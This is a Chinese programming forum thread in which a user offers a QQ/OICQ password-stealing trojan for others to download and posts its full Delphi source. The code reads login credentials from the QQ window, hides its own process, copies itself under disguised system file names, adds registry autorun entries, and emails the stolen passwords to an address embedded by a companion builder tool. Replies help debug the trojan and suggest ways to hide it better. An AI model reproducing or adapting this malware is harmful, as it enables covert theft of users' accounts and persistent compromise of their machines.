我写了一个窃取OICQ密码的木马,请大家下载用用,提点意见,来者有分 好吧,过几天我公布源码,其实很简单,没有使用HOOK,也没有使用HOOK控件。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 我这是2000Pro,不行那,一定要98。强烈建议给出源码。:) 赫赫,YYPP,我记得你以前问过关于自动点击OICQ的问题,是不是自己做了一个OICQ的启动界面?然后骗取别人的密码?然后自动运行真正的OICQ?用程序自动登陆?赫赫~~~纯属猜测~~~~~~~~~分数我有多少?赫赫,先知为快~~~~~~~~~ 我要源码。原理也行,我是2000 server to Kingron:不是那个啦。是另外一个原理:) 原来如此。我试过,但是不行。不知为什么(源程序我看没用,我删删删,qiqiqi)它好像是禁止PostMessage(edPassword.Handle, WM_GetText, 0,0);你怎么做的? 嘿嘿。各位在自己的机器上实验一下吧。解压后先看帮助文件QEyeshlp.htm在自己的机器上运行后,你登陆几个OICQ号码,再打开c:\windows\mdm.ini文件看你的OICQ密码是不是都在里面。。只适用于WINDOWS9X,ME TO wanwangzhiwang(万王之王):其实修改一下可以在WINDOWS下面运行,但是不能隐藏进程。而且在WIN2000下也记录不了密码。所以。。只能运行在WIN9X和WINME to yypp:我用了你这个程序,开始没有什么,我也不表管它,在做其它事情,后来我在显示桌面的时候发现在其它应用程序的底下有一个对话框是Qeyes提示说不能打开mdm.ini这个文件,木马这样提示太过份了吧,还有怎样把这个程序关掉。 另外我在Windows下没mdm.ini这个文件。 to zy61(张旸):那是因为你用的不是WIN9X或者WINME或者你的C盘下面没有WINDOWS这个目录因为密码都是保存在c:\windows\mdm.ini这个目录下的。如果程序找不到这个C:\WINDOWS目录就会出现你说的那种错误。 to zy61(张旸):谢谢。这是一个BUG,我没有考虑到C:\windows\mdm.ini文件不存在而且这个程序运行后这台机器上没有登录OICQ号码的情况,我马上改正。 靠,能不能查在线的其他人的oicq的密码? coldljy(凤舞N天):快考试了,没有时间搞。所以对出现异常的情况都没有进行判断,不然也不会出现错误的提示了。等考试完了再搞,在每次把密码文件作为附件添加到NMSMTP控件的时候,先判断一下这个文件是否存在。现在已经修正了zy61(张旸)所说的错误,密码改为保存在c:\windows\Protocol.ini文件里。是一时权宜之计。c:\windows\Protocol.ini这个文件好象WINME和WIND9X的机器上都有吧? 我要源码!!!!因为编译好了的,我的windows2000用不起!:( to yypp:我现在最关心的是怎让它停止执行 来一份源码看看!我给修改修改!Email:[email protected] to zy61(张旸):这个在WIN9X和WINME下是隐藏了进程的,等今天晚上我物理考试完了我在我主页上放个查看系统隐藏进程然后终止的进程的工具。 to zy61(张旸):我已经在我的主页放上了一个查看系统所有进程并且可以杀掉指定进程的工具,请去下载吧。http://go.163.com/syinprise/skyeyes.zip明天我提供QQ木马的源码下载:) 思路挺新。要能隐藏进程,否则。。用RegisterServer注册服务,用SetWindowsLong(toolwindow)隐藏窗口。 赫赫,OICQ的有一个BUG,在登陆之后没有Clear密码缓冲. 赫赫,原理应该是这样:OICQ登陆之后,Hide乐登陆窗口,但是并没有Clear密码缓冲.密码窃取程序运行之后,用Findwindow()找到OICQ的登陆窗口,然后用EnumChildWindow()配合回调函数查找OICQ的登陆窗口的子窗口,如果是密码框就发送一个WM_GETTEXT的消息,就可以取道密码乐.不知道YYPP的程序是不是这样写的?我还没有用过你的程序呢?不过我想自己写一个也可以吧?赫赫~~~~~~~~~对了,关于INI的问题,你为什么不用TIniFile呢?只要指定文件名,比如mdm.ini,如果没有,默认的会建立在Windows目录下面,如果有,会自动打开阿,这样就没有那样的Bug乐.赫赫,干吗要指定目录呢?倒~~~~~~~~~~~~~~~~~多看看TiniFile类的帮助吧. to Kingron:我就是用的TIniFile,你没有看清楚,如果对方WINDOWS目录下没有mdm.ini文件,而且他运行我的那个木马后没有登录任何OICQ密码。这样在20分钟后,木马把mdm.ini文件作为附件添加然后发送出去的时候就会出错。 to kingron:我在一开始就说了这个很简单的啊,只不过思路比较新,没有使用HOOK而已源码:{ QEyes Written by ACe,All rigths reserved ,OICQ_9031564,http://pyvc.yeah.net 如果你对源代码进行了修改,请给我发一份 [email protected]}unit Unit1;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Keyspy,Inifiles, StdCtrls, WinInet,ExtCtrls, Psock, NMsmtp,registry;type TForm2 = class(TForm) Edit1: TEdit; Timer1: TTimer; NMSMTP1: TNMSMTP; Timer2: TTimer; procedure Timer1Timer(Sender: TObject); procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte; KeyStr: String); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure NMSMTP1AuthenticationFailed(var Handled: Boolean); procedure NMSMTP1Connect(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form2: TForm2; he,hc:hWnd; eaddr:String;implementationfunction RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';{$R *.DFM}function EnumProc(H: HWND; Info: Pointer): BOOL; stdcall;var wClassName: array[0..255] of char;beginGetClassName(H, wClassName, SizeOf(wClassName));if pos('EDIT',Uppercase(wClassName)) > 0 then Begin he:=H; endelse if pos('COMBOBOX',Uppercase(wClassName)) > 0 then Begin hc:=H; end;Result:=True;end;procedure TForm2.Timer1Timer(Sender: TObject);var h:hWnd; Buf: array[0..1024] of Char; number,password:string; var myinifile:Tinifile;begin h:=Findwindow(nil,'QQ用户登录'); if h<>0 then begin Timer1.Enabled:=False; EnumChildWindows(h, @EnumProc,Longint(Self)); SendMessage(hc, WM_GETTEXT, 1024, Integer(@Buf)); number:=buf; SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf)); password:=buf; if password<>'' then begin myinifile:=Tinifile.create('c:\windows\Protocol.ini'); // password:=Edit1.Text; Myinifile.WriteString('oicq',number,password); Myinifile.Free; end; Timer1.Enabled:=True; end;end;procedure TForm2.KeySpy1KeySpyDown(Sender: TObject; Key: Byte; KeyStr: String);begin Edit1.Text:=Edit1.text+keystr;end;procedure TForm2.FormCreate(Sender: TObject);var tempreg:TRegistry; strmSource,strmDest:TMemoryStream; // tempreg:TRegistry; ef:TextFile;begin RegisterServiceProcess(GetCurrentProcessID, 1 ); CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\sysreg.exe'),False); CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\regservice32.exe'),False); CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\rasint.dll'),False); tempreg:=TRegistry.Create; tempreg.RootKey:=HKEY_LOCAL_MACHINE; tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True); tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe'); tempreg.Closekey; tempreg.Free; tempreg:=TRegistry.Create; tempreg.RootKey:=HKEY_LOCAL_MACHINE; tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True); tempreg.WriteString('regservice','C:\windows\system\regservice32.exe'); tempreg.Closekey; tempreg.Free;////////////////////////////////////////////////////////////////////////////////////////////////////////////////// strmSource:=TMemoryStream.Create; strmSource.loadfromfile(Application.Exename); strmSource.seek((StrmSource.Size-50),soFromBeginning); strmDest:=TMemoryStream.Create; strmDest.copyfrom(strmSource,50); strmDest.SaveToFile('c:\windows\raddr.txt'); strmDest.free; strmSource.free;////////////////////////////////////////////////////////////////////////////////////////////////////////////////// AssignFile(ef,'c:\windows\raddr.txt'); Reset(ef); ReadLn(ef,eaddr); CloseFile(ef); eaddr:=TrimLeft(eaddr); eaddr:=TrimRight(eaddr); end;procedure TForm2.FormDestroy(Sender: TObject);var tempreg:TRegistry;begin CopyFile(Pchar('C:\windows\system\rasint.dll'),Pchar('c:\windows\system\netw3c.exe'),False); tempreg:=TRegistry.Create; tempreg.RootKey:=HKEY_LOCAL_MACHINE; tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True); tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe'); tempreg.Closekey; tempreg.Free; tempreg:=TRegistry.Create; tempreg.RootKey:=HKEY_LOCAL_MACHINE; tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True); tempreg.WriteString('regservice','C:\windows\system\regservice32.exe'); tempreg.Closekey; tempreg.Free; tempreg:=TRegistry.Create; tempreg.RootKey:=HKEY_LOCAL_MACHINE; tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True); tempreg.WriteString('netw3c','C:\windows\system\netw3c.exe'); tempreg.Closekey; tempreg.Free;end;procedure TForm2.Timer2Timer(Sender: TObject);begin if InternetCheckConnection('http://www.nsfocus.com/', 1, 0) then edit1.text:= 'con' else edit1.text:= 'discon'; if Edit1.Text='con' then begin NMSMTP1.PostMessage.ToAddress.Add(eaddr); NMSMTP1.Connect; end;end;procedure TForm2.NMSMTP1AuthenticationFailed(var Handled: Boolean);begin Handled:=True;end;procedure TForm2.NMSMTP1Connect(Sender: TObject);begin NMSMTP1.SendMail; NMSMTP1.Disconnect;end;end.program QEyes;uses Forms, windows, Unit1 in '..\Unit1.pas' {Form2};{$R *.RES}begin Application.Initialize; if FindWindow('TForm2','Form2')=0 then begin Application.ShowMainForm:=False; Application.CreateForm(TForm2, Form2); Application.Run; end; end.辅助工具的源码program tool;//{$APPTYPE CONSOLE}uses SysUtils, Dialogs, Classes;var email:string; strmSource,strmDest:TMemoryStream; f:TextFile;begin email:=InputBox('请输入你想接收OICQ密码的信箱','输入你的信箱地址','[email protected]'); while length(email)<50 do begin email:=email+' '; end; AssignFile(f,'c:\windows\Addr.txt'); Rewrite(f); Write(f,email); CloseFile(f); strmSource:=TMemoryStream.Create; strmSource.loadfromfile(ExtractFilePath(ParamStr(0))+'QEyes.exe'); strmDest:=TMemoryStream.Create; strmDest.copyfrom(strmSource,strmSource.size); strmSource.clear; strmSource.loadfromfile('c:\windows\Addr.txt'); strmDest.seek(strmDest.size,soFromBeginning); strmDest.copyfrom(strmSource,strmSource.size); strmSource.free; strmDest.SaveToFile(ExtractFilePath(ParamStr(0))+'QEyes.exe'); strmDest.free;end.还有不完善的地方,在对方机器里留下了raddr.txt 这个文件,这个文件暴露了信箱地址,可以考虑采取对信箱地址加密。因为没有时间,所以就没有写了。有兴趣的朋友自己搞吧:) delphi win7下ICMP ping测试 关于unit之间的调用问题 Eastunfail(恶鱼杀手)请进,补分,感谢您上次回答语言代码的问题 api含数SetCursor怎么用 FastReport 一张纸上打印两个不相关的表,两栏,如何实现 如何设定EDIT的输入方式 調用dll后,關閉主窗体時出現地址出錯!!! Indy tcp 传输JPG图片 请问用什么函数取得当前系统的日期?? 记录集问题, 高手高手HELP!!! 关于CAD图纸的显示与存储问题,大师们不要嫌分少呀,关于这个问题我已经有在网上放了90分了,还可以加分 数据库的问题。
强烈建议给出源码。:)
分数我有多少?赫赫,先知为快~~~~~~~~~
是另外一个原理:)
我试过,但是不行。不知为什么(源程序我看没用,我删删删,qiqiqi)
它好像是禁止PostMessage(edPassword.Handle, WM_GetText, 0,0);
你怎么做的?
看你的OICQ密码是不是都在里面。。只适用于WINDOWS9X,ME
而且在WIN2000下也记录不了密码。
所以。。只能运行在WIN9X和WINME
我用了你这个程序,开始没有什么,我也不表管它,在做其它事情,后来我在显示桌面的时候发现在其它应用程序的底下有一个对话框是Qeyes提示说不能打开mdm.ini这个文件,木马这样提示太过份了吧,还有怎样把这个程序关掉。
因为密码都是保存在c:\windows\mdm.ini这个目录下的。如果程序找不到这个C:\WINDOWS目录就会出现你说的那种错误。
等考试完了再搞,在每次把密码文件作为附件添加到NMSMTP控件的时候,先判断一下这个文件是否存在。现在已经修正了zy61(张旸)所说的错误,密码改为保存在c:\windows\Protocol.ini文件里。是一时权宜之计。
c:\windows\Protocol.ini这个文件好象WINME和WIND9X的机器上都有吧?
我现在最关心的是怎让它停止执行
Email:[email protected]
要能隐藏进程,否则。。
用RegisterServer注册服务,用SetWindowsLong(toolwindow)隐藏窗口。
OICQ登陆之后,Hide乐登陆窗口,但是并没有Clear密码缓冲.
密码窃取程序运行之后,用Findwindow()找到OICQ的登陆窗口,然后用EnumChildWindow()配合回调函数查找OICQ的登陆窗口的子窗口,如果是密码框就发送一个WM_GETTEXT的消息,就可以取道密码乐.不知道YYPP的程序是不是这样写的?我还没有用过你的程序呢?不过我想自己写一个也可以吧?赫赫~~~~~~~~~
对了,关于INI的问题,你为什么不用TIniFile呢?只要指定文件名,比如mdm.ini,如果没有,默认的会建立在Windows目录下面,如果有,会自动打开阿,这样就没有那样的Bug乐.赫赫,干吗要指定目录呢?倒~~~~~~~~~~~~~~~~~多看看TiniFile类的帮助吧.
你没有看清楚,如果对方WINDOWS目录下没有mdm.ini文件,而且他运行我的那个木马后没有登录任何OICQ密码。这样在20分钟后,木马把mdm.ini文件作为附件添加然后发送出去的时候就会出错。
源码:{
QEyes Written by ACe,All rigths reserved ,OICQ_9031564,http://pyvc.yeah.net
如果你对源代码进行了修改,请给我发一份 [email protected]
}
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Keyspy,Inifiles, StdCtrls, WinInet,ExtCtrls, Psock, NMsmtp,registry;type
TForm2 = class(TForm)
Edit1: TEdit;
Timer1: TTimer;
NMSMTP1: TNMSMTP;
Timer2: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure NMSMTP1AuthenticationFailed(var Handled: Boolean);
procedure NMSMTP1Connect(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form2: TForm2;
he,hc:hWnd;
eaddr:String;implementationfunction RegisterServiceProcess(dwProcessID, dwType: Integer):
Integer; stdcall; external 'KERNEL32.DLL';{$R *.DFM}function EnumProc(H: HWND; Info: Pointer): BOOL; stdcall;
var
wClassName: array[0..255] of char;
begin
GetClassName(H, wClassName, SizeOf(wClassName));
if pos('EDIT',Uppercase(wClassName)) > 0 then
Begin
he:=H;
end
else
if pos('COMBOBOX',Uppercase(wClassName)) > 0 then
Begin
hc:=H;
end;
Result:=True;
end;
procedure TForm2.Timer1Timer(Sender: TObject);
var h:hWnd;
Buf: array[0..1024] of Char;
number,password:string;
var myinifile:Tinifile;
begin h:=Findwindow(nil,'QQ用户登录');
if h<>0 then
begin
Timer1.Enabled:=False;
EnumChildWindows(h, @EnumProc,Longint(Self));
SendMessage(hc, WM_GETTEXT, 1024, Integer(@Buf));
number:=buf;
SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));
password:=buf;
if password<>'' then
begin
myinifile:=Tinifile.create('c:\windows\Protocol.ini');
// password:=Edit1.Text;
Myinifile.WriteString('oicq',number,password);
Myinifile.Free;
end;
Timer1.Enabled:=True; end;end;procedure TForm2.KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
begin
Edit1.Text:=Edit1.text+keystr;
end;procedure TForm2.FormCreate(Sender: TObject);
var tempreg:TRegistry;
strmSource,strmDest:TMemoryStream;
// tempreg:TRegistry;
ef:TextFile;begin RegisterServiceProcess(GetCurrentProcessID, 1 );
CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\sysreg.exe'),False);
CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\regservice32.exe'),False);
CopyFile(Pchar(Application.Exename),Pchar('C:\windows\system\rasint.dll'),False);
tempreg:=TRegistry.Create;
tempreg.RootKey:=HKEY_LOCAL_MACHINE;
tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True);
tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe');
tempreg.Closekey;
tempreg.Free;
tempreg:=TRegistry.Create;
tempreg.RootKey:=HKEY_LOCAL_MACHINE;
tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
tempreg.WriteString('regservice','C:\windows\system\regservice32.exe');
tempreg.Closekey;
tempreg.Free;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile(Application.Exename);
strmSource.seek((StrmSource.Size-50),soFromBeginning);
strmDest:=TMemoryStream.Create;
strmDest.copyfrom(strmSource,50); strmDest.SaveToFile('c:\windows\raddr.txt');
strmDest.free;
strmSource.free;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
AssignFile(ef,'c:\windows\raddr.txt');
Reset(ef);
ReadLn(ef,eaddr);
CloseFile(ef);
eaddr:=TrimLeft(eaddr);
eaddr:=TrimRight(eaddr); end;procedure TForm2.FormDestroy(Sender: TObject);
var tempreg:TRegistry;
begin
CopyFile(Pchar('C:\windows\system\rasint.dll'),Pchar('c:\windows\system\netw3c.exe'),False);
tempreg:=TRegistry.Create;
tempreg.RootKey:=HKEY_LOCAL_MACHINE;
tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices',True);
tempreg.WriteString('sysreg','C:\windows\system\sysreg.exe');
tempreg.Closekey;
tempreg.Free;
tempreg:=TRegistry.Create;
tempreg.RootKey:=HKEY_LOCAL_MACHINE;
tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
tempreg.WriteString('regservice','C:\windows\system\regservice32.exe');
tempreg.Closekey;
tempreg.Free;
tempreg:=TRegistry.Create;
tempreg.RootKey:=HKEY_LOCAL_MACHINE;
tempreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
tempreg.WriteString('netw3c','C:\windows\system\netw3c.exe');
tempreg.Closekey;
tempreg.Free;end;procedure TForm2.Timer2Timer(Sender: TObject);begin if InternetCheckConnection('http://www.nsfocus.com/', 1, 0) then
edit1.text:= 'con'
else
edit1.text:= 'discon';
if Edit1.Text='con' then
begin
NMSMTP1.PostMessage.ToAddress.Add(eaddr);
NMSMTP1.Connect;
end;end;procedure TForm2.NMSMTP1AuthenticationFailed(var Handled: Boolean);
begin
Handled:=True;
end;procedure TForm2.NMSMTP1Connect(Sender: TObject);
begin NMSMTP1.SendMail;
NMSMTP1.Disconnect;end;end.
program QEyes;uses
Forms,
windows,
Unit1 in '..\Unit1.pas' {Form2};{$R *.RES}begin
Application.Initialize;
if FindWindow('TForm2','Form2')=0
then
begin
Application.ShowMainForm:=False;
Application.CreateForm(TForm2, Form2);
Application.Run;
end;
end.
辅助工具的源码
program tool;
//{$APPTYPE CONSOLE}
uses
SysUtils,
Dialogs,
Classes;var email:string;
strmSource,strmDest:TMemoryStream;
f:TextFile;begin
email:=InputBox('请输入你想接收OICQ密码的信箱','输入你的信箱地址','[email protected]');
while length(email)<50 do
begin
email:=email+' ';
end;
AssignFile(f,'c:\windows\Addr.txt');
Rewrite(f);
Write(f,email);
CloseFile(f); strmSource:=TMemoryStream.Create;
strmSource.loadfromfile(ExtractFilePath(ParamStr(0))+'QEyes.exe');
strmDest:=TMemoryStream.Create;
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.clear;
strmSource.loadfromfile('c:\windows\Addr.txt');
strmDest.seek(strmDest.size,soFromBeginning);
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.free;
strmDest.SaveToFile(ExtractFilePath(ParamStr(0))+'QEyes.exe');
strmDest.free;
end.还有不完善的地方,在对方机器里留下了raddr.txt 这个文件,这个文件暴露了信箱地址,可以考虑采取对信箱地址加密。因为没有时间,所以就没有写了。有兴趣的朋友自己搞吧:)